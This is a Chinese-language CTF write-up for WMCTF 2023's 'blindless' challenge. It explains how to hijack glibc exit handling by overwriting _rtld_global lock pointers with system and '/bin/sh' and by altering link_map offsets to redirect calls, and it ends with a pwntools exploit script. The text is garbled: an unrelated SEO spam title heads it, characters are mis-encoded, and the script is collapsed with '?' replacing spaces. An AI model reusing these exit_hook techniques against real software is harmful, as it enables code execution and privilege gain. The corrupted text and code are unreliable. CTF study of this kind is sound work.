公司免費(fèi)取名網(wǎng)站seo搜索引擎優(yōu)化案例
0x01 前言
在計(jì)算機(jī)安全領(lǐng)域,漏洞的危險(xiǎn)性往往與其廣泛性和潛在攻擊方式密切相關(guān)。今天,我們將深入探討一個(gè)異常危險(xiǎn)的漏洞,它存在于程序退出時(shí)執(zhí)行的常見函數(shù)"exit"中。無論是在操作系統(tǒng)還是應(yīng)用程序中,"exit"都是一個(gè)普遍存在的函數(shù),通常用于正常退出程序。但這種普遍性也使得它成為了潛在的攻擊目標(biāo)。
這個(gè)漏洞的威脅性在于,它不僅存在于各種程序中,而且有多種潛在的攻擊方式。攻擊者可以通過利用這一漏洞來執(zhí)行惡意代碼,獲取系統(tǒng)權(quán)限,或者實(shí)施其他惡意行為。要理解這個(gè)漏洞的威脅,我們需要深入分析其背后的原理以及不同的利用方式。
在本文中,我們將探討這個(gè)漏洞的具體情況,并詳細(xì)分析了兩種主要的利用方式:一種是將程序流轉(zhuǎn)向libc庫中的函數(shù),另一種是將程序流轉(zhuǎn)向程序本身的代碼段。我們將深入研究這兩種攻擊方式的原理,并展示了一個(gè)實(shí)際漏洞利用的示例。
"blindless"是來自WMCTF 2023比賽的一個(gè)題目,雖然難度不高,但要深入理解并利用其中的漏洞,需要花費(fèi)大量時(shí)間。本文總結(jié)了有關(guān)"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享給大家學(xué)習(xí)。這題的關(guān)鍵是深入理解程序退出時(shí)執(zhí)行的"exit"函數(shù),以及如何通過不同方式實(shí)現(xiàn)漏洞利用。
0x02 exit_hook的n種姿勢(shì)
基地址放在此處供各位參考一下,用于計(jì)算指令偏移。
exit_hook2libc
首先是p &_rtld_global
(看地址),他有一個(gè)rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
的元素可以改來調(diào)用。
注意一定要用docker或者虛擬機(jī),否則沒有符號(hào)表會(huì)特別坐牢!
執(zhí)行p _rtld_global
??吹侥莾蓚€(gè)rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
嗎,就是他們兩個(gè)。我們可以修改他們的內(nèi)容,從而作為exithook進(jìn)行調(diào)用(直接call)。把后面的東西復(fù)制過來p &xxx
就可以查看其地址了。
注意看,這個(gè)程序叫小帥,他調(diào)用的第一個(gè)參數(shù)就是rdi,是_rtld_global+2312
,我們可以控制他的參數(shù)為/bin/sh\x00
然后做壞壞的事情(如果能把rtld_lock_default_lock_recursive
也改成system
的話)。
然后rtld_lock_default_unlock_recursive
的參數(shù)也是2312這個(gè)偏移。
注意這個(gè)2312是十進(jìn)制。
好的,我們就修改這兩個(gè)地方就可以為所欲為了,但是exit_hook
到這里還沒完。
并且嚴(yán)格來說,這里并不是完全的exit_hook2libc
,如果知道elf的地址也完全可以返回到elf上的函數(shù)。
接下來還有更騷的,可以控制到程序上的地址(直接跳轉(zhuǎn),或者間接取地址跳轉(zhuǎn)。)
exit_hook2elf
1.間接call
這個(gè)在這里,第一個(gè)是間接call,即指令是call qword ptr [寄存器]
,意思就是從寄存器的地址指向的內(nèi)存里取地址,然后call。
對(duì)于間接call的利用,我們可以修改他的偏移到任意函數(shù)got表,然后配合參數(shù)rdi_rtld_global+2312
使用。
例如修改_rtld_global+2312為"/bin/sh\x00"
這個(gè)的基地址和偏移是存在于link_map
的,這樣可以找到他的地址。
調(diào)試可以看到他會(huì)從這個(gè)地址的內(nèi)存中取elf基地址,然后通過link_map地址+0x110存的地址取偏移。我們可以改基地址也可以選擇改偏移。link_map地址+0x110是存第一個(gè)間接call的偏移的。
注意存的是偏移-8的地址,也就是如果要改的話要改成目標(biāo)-8。
2.直接call
link_map地址+0xa8是存第二個(gè)直接call的偏移
注意存的是偏移-8的地址,也就是如果要改的話要改成目標(biāo)-8。
如果改偏移的話能改最好,還能直接形成調(diào)用鏈子。但是如果沒有偏移,就只能改基地址了——也就是p &l
出來那兒。但是這樣肯定會(huì)損壞第一次call r14
的,會(huì)導(dǎo)致無法正常進(jìn)行。
但是發(fā)現(xiàn)有一個(gè)地方判斷可以跳過call r14
。
就是這里,test edx,edx
是edx和edx相互and,留下標(biāo)志位。簡(jiǎn)單來說就是如果是0,那么不跳轉(zhuǎn)。如果是1,那么跳轉(zhuǎn)。
在x86匯編中,
je
?指令的作用是:
1. 檢查零標(biāo)志位(ZF)是否被設(shè)置為 1。
2. 如果零標(biāo)志位被設(shè)置為 1,將進(jìn)行跳轉(zhuǎn)到指定的目標(biāo)位置。
回溯發(fā)現(xiàn)是從link_map+0x120
取來的地址,也就是說想要這里為0,就把那里的地址指向?yàn)?的地方即可!不過也要注意,這里取的是地址+8,也就是我們要改成目標(biāo)地址-8改進(jìn)去。這里直接找bss段之類的即可。
完成這個(gè)操作,就可以修改基地址達(dá)到任意直接call的效果了!即使沒有泄露,也可直接返回到程序上(比如此題有后門)。如果有,那就是為所欲為!(和前面一樣,如果有泄露真的就是為所欲為了)。
0x03 exp
那么本題目由于有brainfuck函數(shù)可以執(zhí)行任意地址寫,則根據(jù)前面的exit_hook可以做到提權(quán)。
from?pwn?import?*n2b?=?lambda?x????:?str(x).encode()
rv??=?lambda?x????:?p.recv(x)
rl??=?lambda?????:p.recvline()
ru??=?lambda?s????:?p.recvuntil(s)
sd??=?lambda?s????:?p.send(s)
sl??=?lambda?s????:?p.sendline(s)
sn??=?lambda?s????:?sl(n2b(n))
sa??=?lambda?t,?s?:?p.sendafter(t,?s)
sla?=?lambda?t,?s?:?p.sendlineafter(t,?s)
sna?=?lambda?t,?n?:?sla(t,?n2b(n))
ia??=?lambda??????:?p.interactive()
rop?=?lambda?r????:?flat([p64(x)?for?x?in?r])
uu64=lambda?data?:u64(data.ljust(8,b'\x00'))while?True:context(os='linux',?arch='amd64',?log_level='debug')p?=?process('./main')context.terminal?=?['tmux','new-window'?,'-n','-c']#gdb.attach(p)sla('ze',b'-10')#分配到libc上(用mmap)sla('ze',b'256')pay?=?b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移pay?+=?b'@'+p32(2148618432)pay?+=b'.'?+?b'\xb1'pay?+=?b'>.'?+?b'\x7c'#使得加了偏移之后是后門函數(shù)地址pay?+=?b'@'+p32(0x11f)#修改0x120的地址,指向0,跳過call?r14pay?+=b'.'?+?b'\x00'pay?+=?b'q'sla('code\n',pay)re?=?p.recvrepeat(0.1)#一直接收直到有回顯#如果是system的話可以發(fā)一個(gè)cat?flag再這樣#這是個(gè)很好的爆破方式,學(xué)習(xí)學(xué)習(xí)if?re:print('pwned!get?your?flag?here:',re)exit(0)p.close()